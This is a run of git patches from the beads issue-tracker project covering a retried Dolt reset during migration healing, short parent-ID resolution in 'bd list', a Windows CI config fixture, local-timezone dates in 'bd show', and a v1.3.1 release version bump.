strings.Join(dirtyErr.Tables, ", ")) - // Drained, not Exec'd: the very next thing this path does is re-run the - // whole MigrateUp pass on this same pinned connection, so an - // undrained proc result set here would poison every statement of it. - if resetErr := DrainCall(ctx, conn, "CALL DOLT_RESET('--hard')"); resetErr != nil { + if resetErr := drainFreshBootstrapReset(ctx, conn); resetErr != nil { return applied, errors.Join(err, fmt.Errorf("schema: fresh-bootstrap reset: %w", resetErr)) } applied, err = MigrateUp(ctx, conn) @@ -347,6 +352,55 @@ func MigrateUpWithLock(ctx context.Context, conn *sql.Conn, databaseName string, return applied, err } +// drainFreshBootstrapReset discards an interrupted bootstrap's working set, +// retrying an attempt that the server refused for a reason that is not the +// caller's own cancellation. +// +// Retrying matters here specifically because the capability is already spent. +// consumeIfCurrentIncarnation consumes it before the first attempt so that no +// later pass can re-arm a second destructive reset, which also means whatever +// this call returns is final for the database: a reset that fails leaves the +// interrupted bootstrap refusing every future migration with DirtyTablesError, +// and the only way back is a human running 'bd dolt commit'. Treating a single +// refusal as final spends that one chance on a failure the next attempt would +// not have hit. +// +// Dolt does abort a statement that way. On a healthy pinned session, with no +// other session on the server and the statements either side of it succeeding, +// CALL DOLT_RESET can come back as Error 1105 "context canceled" about a +// millisecond after the server logs it starting — an abort from inside the +// server, not a cancellation from this process (gastownhall/beads#5836 lane, +// TestFreshBootstrapHealIncarnation). +// +// Retrying is safe: DOLT_RESET('--hard') is idempotent, and this stays inside +// one authorized heal — same locked session, same incarnation, one consumed +// capability. ctx.Err() is what separates the server aborting us from us being +// canceled; the latter is not transient and must not spend the attempts left. +func drainFreshBootstrapReset(ctx context.Context, conn *sql.Conn) error { + var err error + for attempt := range freshBootstrapResetAttempts { + if attempt > 0 { + fmt.Fprintf(stderr, "Bootstrap reset attempt %d/%d failed (%v); retrying…\n", + attempt, freshBootstrapResetAttempts, err) + select { + case <-ctx.Done(): + return err + case <-time.After(freshBootstrapResetRetryDelay): + } + } + // Drained, not Exec'd: the very next thing this path does is re-run the + // whole MigrateUp pass on this same pinned connection, so an + // undrained proc result set here would poison every statement of it. + if err = DrainCall(ctx, conn, "CALL DOLT_RESET('--hard')"); err == nil { + return nil + } + if ctx.Err() != nil { + return err + } + } + return err +} + // consumeIfCurrentIncarnation validates and atomically consumes c. All probes // run on the same pinned session while MigrateUpWithLock holds the migration // lock. Query errors deliberately collapse to false so callers preserve and diff --git a/internal/storage/schema/lock_test.go b/internal/storage/schema/lock_test.go index 481cbe463..305ab8f28 100644 --- a/internal/storage/schema/lock_test.go +++ b/internal/storage/schema/lock_test.go @@ -706,6 +706,105 @@ func TestMigrateUpWithLockFreshBootstrapHealResetsAndRetries(t *testing.T) { } } +// TestMigrateUpWithLockFreshBootstrapHealRetriesAbortedReset covers the reset +// the server aborts rather than refuses. The capability is consumed before the +// first attempt and cannot be re-armed, so treating that abort as final would +// strand the interrupted bootstrap on DirtyTablesError for good; the heal has +// to finish on a later attempt of the same authorized reset. +func TestMigrateUpWithLockFreshBootstrapHealRetriesAbortedReset(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + defer db.Close() + + ctx := context.Background() + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("pin mock connection: %v", err) + } + defer conn.Close() + + lockName := MigrationLockName("testdb") + mock.ExpectQuery(regexp.QuoteMeta("SELECT GET_LOCK(?, ?)")). + WithArgs(lockName, migrationLockAcquireTimeoutSeconds). + WillReturnRows(sqlmock.NewRows([]string{"locked"}).AddRow(1)) + expectDirtyGuardRefusal(t, mock) + expectFreshBootstrapIdentityMatch(mock) + // The abort Dolt actually produces: a server-side Error 1105 raised about a + // millisecond in, on a session that is fine before and after it. + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_RESET('--hard')")). + WillReturnError(errors.New("Error 1105 (HY000): context canceled")) + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_RESET('--hard')")). + WillReturnRows(sqlmock.NewRows([]string{"status"})) + expectOnePendingMigration(t, mock) + mock.ExpectQuery(regexp.QuoteMeta("SELECT RELEASE_LOCK(?)")). + WithArgs(lockName). + WillReturnRows(sqlmock.NewRows([]string{"released"}).AddRow(1)) + + capability := testFreshBootstrapHealCapability() + applied, err := MigrateUpWithLock(ctx, conn, "testdb", + WithFreshBootstrapHeal(capability, testBootstrapEndpoint)) + if err != nil { + t.Fatalf("MigrateUpWithLock() error = %v, want the retried reset to heal", err) + } + if applied != 1 { + t.Fatalf("MigrateUpWithLock() applied = %d, want 1", applied) + } + if !capability.consumed.Load() { + t.Fatal("heal ran without consuming the capability") + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} + +// TestMigrateUpWithLockFreshBootstrapHealResetFailureStaysFatal pins the other +// half: retrying is bounded, and a reset the server keeps refusing still fails +// the migration with both the original refusal and the reset error. sqlmock's +// ordered expectations fail the test on a fourth attempt. +func TestMigrateUpWithLockFreshBootstrapHealResetFailureStaysFatal(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + defer db.Close() + + ctx := context.Background() + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("pin mock connection: %v", err) + } + defer conn.Close() + + lockName := MigrationLockName("testdb") + mock.ExpectQuery(regexp.QuoteMeta("SELECT GET_LOCK(?, ?)")). + WithArgs(lockName, migrationLockAcquireTimeoutSeconds). + WillReturnRows(sqlmock.NewRows([]string{"locked"}).AddRow(1)) + expectDirtyGuardRefusal(t, mock) + expectFreshBootstrapIdentityMatch(mock) + for range freshBootstrapResetAttempts { + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_RESET('--hard')")). + WillReturnError(errors.New("reset refused")) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT RELEASE_LOCK(?)")). + WithArgs(lockName). + WillReturnRows(sqlmock.NewRows([]string{"released"}).AddRow(1)) + + _, err = MigrateUpWithLock(ctx, conn, "testdb", + WithFreshBootstrapHeal(testFreshBootstrapHealCapability(), testBootstrapEndpoint)) + var dirtyErr *DirtyTablesError + if !errors.As(err, &dirtyErr) { + t.Fatalf("MigrateUpWithLock() error = %v, want the original *DirtyTablesError joined in", err) + } + if !strings.Contains(err.Error(), "reset refused") { + t.Fatalf("MigrateUpWithLock() error = %v, want the reset failure reported", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} + // expectIgnoredSentinelProbes mocks the INFORMATION_SCHEMA lookups // currentVersion issues to confirm a non-zero ignored cursor against the // schema it claims (gh 5033). They fire only for a non-zero cursor, in From 11ec3a67bca8bf26780c8d7cb9b1c67a0e54d187 Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Wed, 30 Sep 2026 07:23:35 -0700 Subject: [PATCH 258/624] fix(list): resolve short/partial parent IDs for --parent (#5440) (#5794) `bd list --parent ` (the id without its project prefix, e.g. "c7v" instead of "tm-c7v") errored "not found: issue c7v" instead of resolving the same way `bd history ` already does (GH#4868). getHierarchicalChildren called store.GetIssue(ctx, parentID) directly on the raw CLI value with no partial-ID resolution step at all. Fixed by calling the same utils.ResolvePartialID used by bd history, right at the top of getHierarchicalChildren, mirroring history.go's own error handling: a resolved ID replaces parentID; an ambiguous match is a hard error; a genuine not-found falls through unchanged so the existing "parent issue '%s' not found" message still fires with the id the user actually typed. Scoped to exactly the code path the issue's repro hits (local/embedded mode's getHierarchicalChildren, used by plain `bd list --parent` and `--tree --parent`). Did not extend to: - gatherProxiedHierarchical (list_show_filter_modes.go/ list_proxied_server.go), the proxied-server equivalent -- history.go itself documents that proxied mode has no local store to resolve against and intentionally passes the raw ID through for the server's own lookup to handle, so this isn't an oversight to fix, it's the existing convention. - `--json --parent `, which takes an entirely different code path (reader.List's own ListRequest filter, built by BuildListFilter/LoadStoreListConfig, never touching getHierarchicalChildren at all) and has the same underlying gap but fails differently -- silently returns [] instead of erroring. Confirmed via manual repro. A real, separate defect, but fixing it means resolving in a materially different layer (the filter builder, not a single CLI command's helper), which is a broader change than this issue asked for. - The same shape of bug in `bd create --parent`, `bd ready --parent`, and `bd label --parent`, which independently call GetIssue on a raw --parent value the same way. Noticed while tracing this, not reported, not verified beyond a grep -- flagging rather than expanding scope on unconfirmed instances. RED: added TestEmbeddedList/parent_filter_short_id, a real embedded- Dolt CLI subprocess test (BEADS_TEST_EMBEDDED_DOLT=1) using the plain (non-JSON) render to match the issue's own repro and the existing tree_parent test's pattern. First draft used bdListJSON and passed trivially even pre-fix -- caught by checking which exact code branch the JSON path takes (jsonOutput's early return in list.go, well before getHierarchicalChildren) and confirming zero-debug-output during manual tracing; switched to bdList once that was understood. Confirmed RED against unfixed code (children missing from output) before writing the fix. GREEN: children appear via both the full ID and the short ID after the fix. Verified: full TestEmbeddedList suite (51 subtests) green, no regressions -- ran twice, once after the initial fix and once after correcting the test to hit the right code path. go vet clean. Claude-Session: https://claude.ai/code/session_018c3vLFNVgPebSpCJrd8xTD Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer --- cmd/bd/list_embedded_test.go | 23 +++++++++++++++++++++++ cmd/bd/list_show_filter_modes.go | 12 ++++++++++++ 2 files changed, 35 insertions(+) diff --git a/cmd/bd/list_embedded_test.go b/cmd/bd/list_embedded_test.go index 9b48b80af..b35593d10 100644 --- a/cmd/bd/list_embedded_test.go +++ b/cmd/bd/list_embedded_test.go @@ -503,6 +503,29 @@ func TestEmbeddedList(t *testing.T) { } }) + t.Run("parent_filter_short_id", func(t *testing.T) { + // Regression for #5440: a --parent value without its project prefix + // (e.g. "c7v" instead of "tl-c7v") must resolve the same way + // `bd history ` already does (GH#4868), not error "not found". + // Uses the plain (non-JSON) render, matching the issue's own repro and + // tree_parent above -- --json --parent takes a different code path + // (reader.List's own filter, not getHierarchicalChildren) that this + // fix does not touch; see the relay notes for that separate finding. + idParts := strings.Split(seed.epic, "-") + shortID := idParts[len(idParts)-1] + if shortID == seed.epic { + t.Fatalf("test setup: seed.epic %q has no prefix to strip", seed.epic) + } + + out := bdList(t, bd, dir, "--parent", shortID) + if !strings.Contains(out, seed.childTaskA) { + t.Errorf("child A %s should appear with --parent %s (short id):\n%s", seed.childTaskA, shortID, out) + } + if !strings.Contains(out, seed.childTaskB) { + t.Errorf("child B %s should appear with --parent %s (short id):\n%s", seed.childTaskB, shortID, out) + } + }) + t.Run("no_parent", func(t *testing.T) { issues := bdListJSON(t, bd, dir, "--no-parent") if containsID(issues, seed.childTaskA) { diff --git a/cmd/bd/list_show_filter_modes.go b/cmd/bd/list_show_filter_modes.go index 64a0432d0..8f7a6b1e7 100644 --- a/cmd/bd/list_show_filter_modes.go +++ b/cmd/bd/list_show_filter_modes.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "os" "os/signal" @@ -11,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/utils" "github.com/steveyegge/beads/internal/workapi" ) @@ -47,6 +49,16 @@ import ( // getHierarchicalChildren handles the --tree --parent combination logic. // baseFilter carries CLI filters (--type, --status, etc.) through the recursive walk. func getHierarchicalChildren(ctx context.Context, store storage.DoltStorage, dbPath string, parentID string, baseFilter types.IssueFilter) ([]*types.Issue, error) { + // Accept a short/partial parent ID the same way `bd history ` does + // (GH#4868's mechanism, not applied here before). Not-found IDs fall + // through unchanged so the existing "parent issue '%s' not found" path + // below still fires with the id the user actually typed. + if resolved, err := utils.ResolvePartialID(ctx, store, parentID); err == nil { + parentID = resolved + } else if errors.Is(err, utils.ErrAmbiguousID) { + return nil, err + } + // First verify that the parent issue exists var parentIssue *types.Issue err := withStorage(ctx, store, dbPath, func(s storage.DoltStorage) error { From 448c4b8621db7d3ee0f471ebbf451a37bbdd8983 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Wed, 30 Sep 2026 08:26:09 -0600 Subject: [PATCH 259/624] test(prime): use native config root in global fixture (#5778) * test(prime): use native config root in global fixture The global PRIME override fixture staged Linux and macOS paths while the Windows child resolved os.UserConfigDir from inherited APPDATA. Build one isolated profile, ask the host for its native config directory, and stage the override only at that path. Production behavior is unchanged. Related to #4638. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * test(prime): create advertised profiles and exercise Windows fixture Create each isolated profile directory before exporting its path. Run the global override through the shared test runner in the existing required Windows job, rejecting absent, skipped or failed selected coverage. Agent-Signature: unknown-model/unknown-reasoning --------- Co-authored-by: Bee Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- .github/workflows/pr.yml | 28 +++++++++++- cmd/bd/prime_gemini_hook_test.go | 73 +++++++++++++++++++++----------- scripts/ci_workflow_test.go | 24 +++++++++++ 3 files changed, 98 insertions(+), 27 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 8c7692222..ab5d2922f 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -256,8 +256,8 @@ jobs: # The lingering-handle liveness regression test is //go:build windows: the # Ubuntu job above selects it by name but compiles it out, and main.yml's # Windows job runs only on pushes to main (build/smoke, no go test). Run - # exactly the liveness pair on windows-latest so the regression guard - # actually executes at PR time. + # the liveness pair and native config fixture on Windows so their platform + # regressions actually execute at PR time. test-windows-liveness: name: Test (Windows) cmd/bd liveness regression runs-on: windows-latest @@ -271,6 +271,30 @@ jobs: go-version-file: 'go.mod' cache: false + - name: Run native Windows global Prime override + shell: bash + env: + CGO_ENABLED: "1" + run: | + go_path=$(command -v go) + [[ "$("$go_path" env GOHOSTOS GOOS)" == $'windows\nwindows' ]] + test_status=0 + test_output=$(./scripts/test.sh -v -timeout 5m -run '^TestPrimeBinaryPortfolio$/^TestPrime_HookJSON_GlobalPrimeOverride$' -count=1 ./cmd/bd) || test_status=$? + printf '%s\n' "$test_output" + ((test_status == 0)) + pass_pattern='^[[:space:]]*--- PASS: TestPrimeBinaryPortfolio/TestPrime_HookJSON_GlobalPrimeOverride \(' + nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): ' + pass_count=0 + while IFS= read -r line; do + if [[ "$line" =~ $pass_pattern ]]; then + ((pass_count += 1)) + fi + if [[ "$line" =~ $nonpass_pattern ]]; then + exit 1 + fi + done <<<"$test_output" + ((pass_count == 1)) + - name: Run Windows liveness regression test run: go test -tags gms_pure_go -count=1 -run '^TestIsServerProbablyRunning' ./cmd/bd diff --git a/cmd/bd/prime_gemini_hook_test.go b/cmd/bd/prime_gemini_hook_test.go index 1c8816d96..4c81e8a3e 100644 --- a/cmd/bd/prime_gemini_hook_test.go +++ b/cmd/bd/prime_gemini_hook_test.go @@ -222,39 +222,62 @@ func primeScenarioHookJSONStealthCompose(t *testing.T, binPath, workDir string) } } -// TestPrime_HookJSON_GlobalPrimeOverride: with --hook-json and a -// ~/.config/beads/PRIME.md file present (XDG path), output is the JSON -// envelope wrapping that file's contents. This exercises the third -// custom-PRIME.md path through the wrapper. +// isolatedGlobalPrimeConfigFixture creates a complete temporary user profile, +// asks the current platform where its user config directory is, and returns a +// child environment that resolves to the same directory. +func isolatedGlobalPrimeConfigFixture(t *testing.T) (string, []string) { + t.Helper() + + profileRoot := t.TempDir() + profileVars := []struct { + key string + value string + }{ + {key: "HOME", value: filepath.Join(profileRoot, "home")}, + {key: "USERPROFILE", value: filepath.Join(profileRoot, "home")}, + {key: "APPDATA", value: filepath.Join(profileRoot, "appdata", "roaming")}, + {key: "LOCALAPPDATA", value: filepath.Join(profileRoot, "appdata", "local")}, + {key: "XDG_CONFIG_HOME", value: filepath.Join(profileRoot, "xdg-config")}, + } + + for _, variable := range profileVars { + if err := os.MkdirAll(variable.value, 0o755); err != nil { + t.Fatalf("create isolated %s directory: %v", variable.key, err) + } + t.Setenv(variable.key, variable.value) + } + + configDir, err := os.UserConfigDir() + if err != nil { + t.Fatalf("resolve isolated user config dir: %v", err) + } + rel, err := filepath.Rel(profileRoot, configDir) + if err != nil || !filepath.IsLocal(rel) { + t.Fatalf("isolated user config dir %q escaped profile root %q", configDir, profileRoot) + } + + return configDir, os.Environ() +} + +// TestPrime_HookJSON_GlobalPrimeOverride: with --hook-json and a PRIME.md in +// the platform-native user config directory, output is the JSON envelope +// wrapping that file's contents. This exercises the third custom-PRIME.md path +// through the wrapper. func primeScenarioHookJSONGlobalPrimeOverride(t *testing.T, binPath, workDir string) { - const custom = "# Global PRIME override\nGreetings from XDG.\n" + const custom = "# Global PRIME override\nGreetings from isolated config.\n" - // resolveGlobalPrimePath uses os.UserConfigDir, which on Linux honors - // XDG_CONFIG_HOME. On macOS it returns ~/Library/Application Support - // regardless of XDG, so we set HOME and also stage the macOS path to - // be cross-platform-safe. - xdg := t.TempDir() - home := t.TempDir() - - xdgBeadsDir := filepath.Join(xdg, "beads") - if err := os.MkdirAll(xdgBeadsDir, 0o755); err != nil { - t.Fatalf("mkdir xdg beads dir: %v", err) + configDir, childEnv := isolatedGlobalPrimeConfigFixture(t) + beadsConfigDir := filepath.Join(configDir, "beads") + if err := os.MkdirAll(beadsConfigDir, 0o755); err != nil { + t.Fatalf("mkdir global beads config dir: %v", err) } - writePrimeFile(t, filepath.Join(xdgBeadsDir, "PRIME.md"), custom) - // Cross-platform staging for macOS UserConfigDir. - macConfigDir := filepath.Join(home, "Library", "Application Support", "beads") - if err := os.MkdirAll(macConfigDir, 0o755); err != nil { - t.Fatalf("mkdir mac config dir: %v", err) - } - writePrimeFile(t, filepath.Join(macConfigDir, "PRIME.md"), custom) + writePrimeFile(t, filepath.Join(beadsConfigDir, "PRIME.md"), custom) ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) defer cancel() cmd := exec.CommandContext(ctx, binPath, "prime", "--hook-json") cmd.Dir = workDir - cmd.Env = append(os.Environ(), - "HOME="+home, - "XDG_CONFIG_HOME="+xdg, + cmd.Env = append(childEnv, "BEADS_TEST_IGNORE_REPO_CONFIG=1", "BEADS_DIR=", "BEADS_DB=", diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 73751ad6b..5b239ad04 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -217,6 +217,30 @@ func TestPRWorkflowExercisesWindowsEnvironmentHelpers(t *testing.T) { } } +func TestPRCIGateRequiresWindowsGlobalPrimeOverride(t *testing.T) { + workflow := readCIWorkflow(t, "pr.yml") + job := workflow.job(t, "test-windows-liveness") + step := job.step(t, "Run native Windows global Prime override") + if job.If != "" || job.ContinueOnError || step.If != "" || + (step.ContinueOnError != nil && step.ContinueOnError != false) { + t.Fatal("native Windows global Prime override must be unconditional and required") + } + if step.Shell != "bash" || step.Env["CGO_ENABLED"] != "1" { + t.Fatal("native Windows global Prime override requires Bash and CGO") + } + if !strings.Contains(step.Run, "./scripts/test.sh") || + !strings.Contains(step.Run, "^TestPrimeBinaryPortfolio$/^TestPrime_HookJSON_GlobalPrimeOverride$") { + t.Fatal("native Windows gate must execute the global Prime override fixture") + } + gate := workflow.job(t, "ci-gate") + env := gate.step(t, "Evaluate CI gate").Env + if !contains(gate.Needs, "test-windows-liveness") || + env["TEST_WINDOWS_LIVENESS"] != "${{ needs.test-windows-liveness.result }}" || + !contains(strings.Fields(env["CI_GATE_REQUIRED"]), "TEST_WINDOWS_LIVENESS") { + t.Fatal("CI gate must require the native Windows result") + } +} + func TestPRCIGateRequiresJSWasmHookExecution(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "check-cmd-bd-puregeo-tests") From 98ab920417856d1f3cf6cd10979838f501b2b4fe Mon Sep 17 00:00:00 2001 From: Michael Hackner Date: Wed, 30 Sep 2026 08:46:43 -0700 Subject: [PATCH 260/624] fix(show): render Created/Started/Updated in local timezone (#5980) * fix(show): render Created/Started/Updated in local timezone bd show printed these stored-UTC timestamps as bare dates without converting, so if it's already tomorrow in UTC, the whole calendar day was wrong. Storage is unchanged and still UTC, as is --json. Co-authored-by: Claude Opus 5 * test(show): stop swapping time.Local in TimestampsRenderLocal TestFormatIssueMetadata_TimestampsRenderLocal assigned the process-global time.Local to pin a Pacific zone. Every time.Now() in the process reads that variable, including goroutines no test can synchronize with: a net/http connection from the serve test winding down after it returns, and the event collector Dolt starts at package init. The swap is a data race, and -race reports it whenever the unsynchronized read is still in the detector's history: Bazel prcore shard 9 on this PR, and the test run alone (3/3). Hand the stamp over in a zone twelve hours ahead of time.Local instead, so its own digits fall on the next calendar day on any machine and only a conversion to local time prints the right date. No global is written, so the test runs in parallel like its neighbors. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 Co-authored-by: Gas City Merge Queue Co-authored-by: Eddie the Engineer --- cmd/bd/show.go | 2 +- cmd/bd/show_format.go | 6 ++--- cmd/bd/show_format_metadata_test.go | 35 +++++++++++++++++++++++++++++ 3 files changed, 39 insertions(+), 4 deletions(-) diff --git a/cmd/bd/show.go b/cmd/bd/show.go index c8c4db8d6..e2609cf8a 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -302,7 +302,7 @@ func init() { showCmd.Flags().Bool("children", false, "Show only the children of this issue") showCmd.Flags().String("as-of", "", "Show issue as it existed at a specific commit hash or branch (requires Dolt; commit hashes must be the full 32-character hash from 'bd history', not a prefix)") showCmd.Flags().StringArray("id", nil, "Issue ID (use for IDs that look like flags, e.g., --id=gt--xyz)") - showCmd.Flags().Bool("local-time", false, "Show timestamps in local time instead of UTC") + showCmd.Flags().Bool("local-time", false, "Show timestamps in local time instead of UTC (date-only fields are always local)") showCmd.Flags().BoolP("watch", "w", false, "Watch for changes and auto-refresh display") showCmd.Flags().Bool("current", false, "Show the currently active issue (in-progress, hooked, or last touched)") showCmd.Flags().Bool("include-dependents", false, "Stream full dependent issues in JSON output (--json only; may be slow on hub beads)") diff --git a/cmd/bd/show_format.go b/cmd/bd/show_format.go index 408f2dae2..4c2198198 100644 --- a/cmd/bd/show_format.go +++ b/cmd/bd/show_format.go @@ -110,11 +110,11 @@ func formatIssueMetadata(issue *types.Issue) string { // Line 2: Created · Updated · Due/Defer timeParts := []string{} - timeParts = append(timeParts, fmt.Sprintf("Created: %s", issue.CreatedAt.Format("2006-01-02"))) + timeParts = append(timeParts, fmt.Sprintf("Created: %s", issue.CreatedAt.Local().Format("2006-01-02"))) if issue.StartedAt != nil { - timeParts = append(timeParts, fmt.Sprintf("Started: %s", issue.StartedAt.Format("2006-01-02"))) + timeParts = append(timeParts, fmt.Sprintf("Started: %s", issue.StartedAt.Local().Format("2006-01-02"))) } - timeParts = append(timeParts, fmt.Sprintf("Updated: %s", issue.UpdatedAt.Format("2006-01-02"))) + timeParts = append(timeParts, fmt.Sprintf("Updated: %s", issue.UpdatedAt.Local().Format("2006-01-02"))) if issue.DueAt != nil { timeParts = append(timeParts, fmt.Sprintf("Due: %s", issue.DueAt.Local().Format("2006-01-02"))) diff --git a/cmd/bd/show_format_metadata_test.go b/cmd/bd/show_format_metadata_test.go index 21eaacbbe..4c8502a1f 100644 --- a/cmd/bd/show_format_metadata_test.go +++ b/cmd/bd/show_format_metadata_test.go @@ -4,6 +4,7 @@ import ( "encoding/json" "strings" "testing" + "time" "github.com/charmbracelet/x/ansi" "github.com/steveyegge/beads/internal/types" @@ -142,6 +143,40 @@ func TestFormatIssueMetadata_CreatedByLabel(t *testing.T) { } } +// TestFormatIssueMetadata_TimestampsRenderLocal guards the rule that the +// metadata block reports timestamps on the reader's calendar, as the Due and +// Deferred entries on the same line already did. +// +// Created/Started/Updated are stored in UTC. Printing those digits as a bare +// date put the whole day wrong if it's already tomorrow in UTC. +// +// The stamp is handed over in a zone twelve hours ahead of time.Local, so its +// own digits fall on the next day on any machine, a UTC CI box included, and +// only a conversion to local time prints the right date. time.Local is never +// assigned: every time.Now() in the process reads it, including in goroutines +// no test can synchronize with (a served connection winding down after its +// test, the collector Dolt starts at package init), so a swap trips -race even +// with this test run alone. +func TestFormatIssueMetadata_TimestampsRenderLocal(t *testing.T) { + t.Parallel() + // 18:30 on 2026-08-23 here is 06:30 on 2026-08-24 twelve hours east — the + // same instant on two different calendar days, which is the whole bug. + local := time.Date(2026, 8, 23, 18, 30, 0, 0, time.Local) + _, offset := local.Zone() + stamp := local.In(time.FixedZone("local+12h", offset+12*60*60)) + issue := &types.Issue{ + ID: "test-tz", Title: "t", IssueType: types.TypeTask, + CreatedAt: stamp, UpdatedAt: stamp, StartedAt: &stamp, + } + + out := ansi.Strip(formatIssueMetadata(issue)) + for _, want := range []string{"Created: 2026-08-23", "Started: 2026-08-23", "Updated: 2026-08-23"} { + if !strings.Contains(out, want) { + t.Errorf("expected %q in output (the stamp's own digits put the date a day ahead), got:\n%s", want, out) + } + } +} + func TestFormatIssueCustomMetadata_Nil(t *testing.T) { t.Parallel() issue := &types.Issue{} From 498742a275ea356bd076528623ba01b24b0f5121 Mon Sep 17 00:00:00 2001 From: Gas City Adopt-PR Date: Wed, 30 Sep 2026 19:11:53 +0000 Subject: [PATCH 261/624] release: prep v1.3.1 Promote v1.3.1-rc.2 to stable per RELEASING.md "Validate and promote", on the same branch the RC validated (hotfix/1.3.1, rc.2 = 696e3967be). ./scripts/update-versions.sh 1.3.1 drops the -rc.2 suffix from version.go, the plugin manifests, marketplace.json, npm package.json, the MCP pyproject/__init__/uv.lock, default.nix, the .githooks markers and the winres strings. ./scripts/check-versions.sh is green at 1.3.1. CHANGELOG: a dated [1.3.1] section, following the [1.1.0] precedent: it points at [1.3.1-rc.2] and [1.3.1-rc.1] for the full notes and says the code is unchanged since rc.2. The rc sections are untouched. cmd/bd/info.go: a 1.3.1 digest at index 0 of versionChanges. No code changes. Co-Authored-By: Claude Opus 5.5 --- .claude-plugin/marketplace.json | 2 +- .githooks/post-checkout | 4 ++-- .githooks/post-merge | 4 ++-- .githooks/pre-commit | 4 ++-- .githooks/pre-push | 4 ++-- .githooks/prepare-commit-msg | 4 ++-- CHANGELOG.md | 18 ++++++++++++++++++ cmd/bd/info.go | 7 +++++++ cmd/bd/version.go | 2 +- cmd/bd/winres/winres.json | 4 ++-- default.nix | 2 +- integrations/beads-mcp/pyproject.toml | 2 +- .../beads-mcp/src/beads_mcp/__init__.py | 2 +- integrations/beads-mcp/uv.lock | 2 +- npm-package/package.json | 2 +- plugins/beads/.claude-plugin/plugin.json | 2 +- plugins/beads/.codex-plugin/plugin.json | 2 +- plugins/beads/.copilot-plugin/plugin.json | 2 +- 18 files changed, 47 insertions(+), 22 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index f8f85baf2..0a50b06ad 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -9,7 +9,7 @@ "name": "beads", "source": "./plugins/beads", "description": "AI-supervised issue tracker for coding workflows", - "version": "1.3.1-rc.2" + "version": "1.3.1" } ] } diff --git a/.githooks/post-checkout b/.githooks/post-checkout index af46d18a8..797c1199c 100755 --- a/.githooks/post-checkout +++ b/.githooks/post-checkout @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- +# --- BEGIN BEADS INTEGRATION v1.3.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.2 --- +# --- END BEADS INTEGRATION v1.3.1 --- diff --git a/.githooks/post-merge b/.githooks/post-merge index 2c1d4a142..07a8f632f 100755 --- a/.githooks/post-merge +++ b/.githooks/post-merge @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- +# --- BEGIN BEADS INTEGRATION v1.3.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.2 --- +# --- END BEADS INTEGRATION v1.3.1 --- diff --git a/.githooks/pre-commit b/.githooks/pre-commit index 4bb400076..850121d71 100755 --- a/.githooks/pre-commit +++ b/.githooks/pre-commit @@ -40,7 +40,7 @@ if [ -n "$staged_go_files" ]; then echo "$staged_go_files" | xargs git add fi -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- +# --- BEGIN BEADS INTEGRATION v1.3.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -97,4 +97,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.2 --- +# --- END BEADS INTEGRATION v1.3.1 --- diff --git a/.githooks/pre-push b/.githooks/pre-push index e732dc462..675d4edce 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -39,7 +39,7 @@ fi exec < <(printf '%s\n' "$push_refs") -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- +# --- BEGIN BEADS INTEGRATION v1.3.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -96,4 +96,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.2 --- +# --- END BEADS 